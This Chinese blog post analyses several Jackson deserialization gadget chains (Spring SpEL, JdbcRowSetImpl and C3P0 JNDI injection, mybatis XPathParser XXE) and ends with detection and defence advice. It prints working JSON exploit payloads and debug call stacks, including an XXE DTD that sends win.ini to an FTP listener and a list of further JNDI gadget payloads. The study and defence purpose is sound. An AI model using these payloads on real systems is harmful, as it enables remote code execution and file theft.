反序列化漏洞的利用链实在是太多了,前面都是挑了一些特别点的利用链进行了复现和调试分析,具体还有哪些以及所适用的版本看下Jackson的黑名单的设置就知道了。
0x01 基于FileSystemXmlApplicationContext的利用链
复现利用
和之前分析的ClassPathXmlApplicationContext类出自同一个包,一模一样的环境,只需要换下利用类为org.springframework.context.support.FileSystemXmlApplicationContext即可成功触发:
1
| String payload = "[\"org.springframework.context.support.FileSystemXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]";
|
FileSystemXmlApplicationContext类的漏洞原理和ClassPathXmlApplicationContext类是一样的,同样是没有setter方法,只有构造函数,而该函数中的refresh()函数存在SpEL注入漏洞。
调试分析
和前面CVE-2017-17485的一样,只不过换了个同一个包下的不同类而已,具体的参考之前的调试分析即可。
函数调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| evaluate:163, StandardBeanExpressionResolver (org.springframework.context.expression) evaluateBeanDefinitionString:1452, AbstractBeanFactory (org.springframework.beans.factory.support) doResolveBeanClass:1409, AbstractBeanFactory (org.springframework.beans.factory.support) resolveBeanClass:1372, AbstractBeanFactory (org.springframework.beans.factory.support) determineTargetType:670, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) predictBeanType:637, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) isFactoryBean:1489, AbstractBeanFactory (org.springframework.beans.factory.support) doGetBeanNamesForType:421, DefaultListableBeanFactory (org.springframework.beans.factory.support) getBeanNamesForType:391, DefaultListableBeanFactory (org.springframework.beans.factory.support) registerBeanPostProcessors:189, PostProcessorRegistrationDelegate (org.springframework.context.support) registerBeanPostProcessors:709, AbstractApplicationContext (org.springframework.context.support) refresh:534, AbstractApplicationContext (org.springframework.context.support) <init>:142, FileSystemXmlApplicationContext (org.springframework.context.support) <init>:85, FileSystemXmlApplicationContext (org.springframework.context.support) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422, Constructor (java.lang.reflect) call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect) createFromString:299, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std) deserializeFromString:1204, BeanDeserializerBase (com.fasterxml.jackson.databind.deser) _deserializeOther:144, BeanDeserializer (com.fasterxml.jackson.databind.deser) deserialize:135, BeanDeserializer (com.fasterxml.jackson.databind.deser) _deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl) deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl) deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std) deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl) _readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind) readValue:2797, ObjectMapper (com.fasterxml.jackson.databind) main:11, PoC
|
0x02 基于JdbcRowSetImpl的利用链
复现利用
和Fastjson反序列化漏洞中的利用是一样的原理,都是利用JNDI注入漏洞实现反序列化漏洞的利用,不再多说,需要实现RMI服务或LDAP服务,注意JDK版本限制等:
1
| String payload = "[\"com.sun.rowset.JdbcRowSetImpl\", {\"dataSourceName\":\"ldap://localhost:1389/Exploit\", \"autoCommit\":true}]";
|
调试分析
参考Fastjson反序列化漏洞对应的调试分析即可。
利用链:setDataSourceName()->..->setAutoCommit()->connect()->IntialContext.lookup()
函数调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| lookup:417, InitialContext (javax.naming) connect:624, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) deserializeAndSet:97, MethodProperty (com.fasterxml.jackson.databind.deser.impl) vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser) deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser) _deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl) deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl) deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std) deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl) _readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind) readValue:2797, ObjectMapper (com.fasterxml.jackson.databind) main:11, PoC
|
0x03 基于C3P0 JndiRefForwardingDataSource的利用链
复现利用
需要开启RMI服务或LDAP服务,另外还需要c3p0-0.9.5.2,mchange-commons-java-0.2.15等jar包:
1
| String payload = "[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\", {\"jndiName\":\"ldap://localhost:1389/Exploit\", \"loginTimeout\":0}]";
|
调试分析
看到PoC中设置了两个属性值jndiName和loginTimeout。
我们调试的时候直接往com.mchange.v2.c3p0.JndiRefForwardingDataSource类的setLoginTimeout()及其父类JndiRefDataSourceBase.setJndiName()上打上断点。
前面的解析和反序列化过程跟之前的调试分析是一样的,调用deserializeAndSet()函数,再在其中调用_setter.invoke()
实现反射调用目标类属性的setter方法。这里是先调用JndiRefDataSourceBase.setJndiName()设置jndiName属性值为我们的恶意LDAP服务地址:
往下调试,接着调用JndiRefForwardingDataSource.setLoginTimeout()函数设置loginTimeout属性值,可以看到先调用了inner()方法:
跟进inner()方法,由于inner并未有缓存即cachedInner为空,所以会往下执行调用dereference()函数:
在dereference()函数中,就是典型的JNDI注入漏洞了,其中lookup()函数的参数就是前面调用setJndiName()设置的属性值:
往下就是JNDI注入的过程了。
此时函数调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <init>:2, Exploit newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422, Constructor (java.lang.reflect) newInstance:442, Class (java.lang) getObjectFactoryFromReference:163, NamingManager (javax.naming.spi) getObjectInstance:189, DirectoryManager (javax.naming.spi) c_lookup:1085, LdapCtx (com.sun.jndi.ldap) p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:417, InitialContext (javax.naming) dereference:112, JndiRefForwardingDataSource (com.mchange.v2.c3p0) inner:134, JndiRefForwardingDataSource (com.mchange.v2.c3p0) setLoginTimeout:157, JndiRefForwardingDataSource (com.mchange.v2.c3p0) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) deserializeAndSet:97, MethodProperty (com.fasterxml.jackson.databind.deser.impl) vanillaDeserialize:260, BeanDeserializer (com.fasterxml.jackson.databind.deser) deserialize:125, BeanDeserializer (com.fasterxml.jackson.databind.deser) _deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl) deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl) deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std) deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl) _readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind) readValue:2797, ObjectMapper (com.fasterxml.jackson.databind) main:11, PoC
|
0x04 基于XPathParser的利用链
复现利用
需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
和《Jackson系列六——CVE-2019-12814(基于JDOM-XSLTransformer利用链)》类似,只不过注入的XXE payload直接写在JSON数组中:
1
| String payload = "[\"org.apache.ibatis.parsing.XPathParser\", \"<!DOCTYPE ANY[\\n<!ENTITY % file SYSTEM 'file:///c:/windows/win.ini'>\\n<!ENTITY % remote SYSTEM 'http://127.0.0.1/xxe/evil.dtd'>\\n%remote;\\n%send;\\n]>\"]";
|
evil.dtd:
1
| <!ENTITY % all "<!ENTITY % send SYSTEM 'ftp://127.0.0.1:21/%file;'>"> %all;
|
开启Web服务放置exp.xml和evil.dtd,再开启FTP服务进行监听接受数据:
调试分析
在调用newInstance()函数的时候,会新建一个XPathParser类对象,同时会调用该类的构造函数:
其中会调用createDocument()函数,其中直接调用DocumentBuilder.parse()而未调用setFeature()设置禁用的解析类型,并且参数是我们外部可控的XML内容,因此妥妥的XXE:
函数调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| parse:339, DocumentBuilderImpl (com.sun.org.apache.xerces.internal.jaxp) createDocument:257, XPathParser (org.apache.ibatis.parsing) <init>:55, XPathParser (org.apache.ibatis.parsing) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422, Constructor (java.lang.reflect) call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect) createFromString:299, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std) deserializeFromString:1204, BeanDeserializerBase (com.fasterxml.jackson.databind.deser) _deserializeOther:144, BeanDeserializer (com.fasterxml.jackson.databind.deser) deserialize:135, BeanDeserializer (com.fasterxml.jackson.databind.deser) _deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl) deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl) deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std) deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl) _readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind) readValue:2797, ObjectMapper (com.fasterxml.jackson.databind) main:11, PoC
|
0x05 更多的一些Gadgets
收集的一些利用链payload,具体环境和原理可自行搭建调试分析:
1 2 3 4 5 6 7 8 9 10 11
| ["org.springframework.context.support.GenericGroovyApplicationContext", "http://127.0.0.1:8000/spel.xml"] ["org.apache.openjpa.ee.RegistryManagedRuntime", {"registryName":"ldap://localhost:1389/Exploit", "rollbackOnly": null}]
["org.apache.openjpa.ee.JNDIManagedRuntime", {"transactionManagerName":"ldap://localhost:1389/Exploit", "rollbackOnly": null}]
["org.apache.axis2.transport.jms.JMSOutTransportInfo", "jms:/ldap://localhost:1389/Exploit"]
["net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup", {"properties":{"jndiname":"rmi://localhost:1099/Exploit"}}]
["ch.qos.logback.core.db.JNDIConnectionSource", {"jndiname":"rmi://localhost:1099/Exploit"}]
|
0x06 检测与防御
检查方法
检查是否使用到了Jackson,并且版本号是否是漏洞版本,若是则排查是否存在ObjectMapper.readValue
,同时排查是否开启了DefaultTyping或使用了设置有问题的@JsonTypeInfo注解。
防御方法
- 升级到最新版的Jackson;
- 禁用enableDefaultTyping();
- 禁用@JsonTypeInfo注解,或严格限制只能使用值为JsonTypeInfo.Id.NONE或JsonTypeInfo.Id.NAME的注解;
- 避免使用Object作为Jackson反序列化的类型;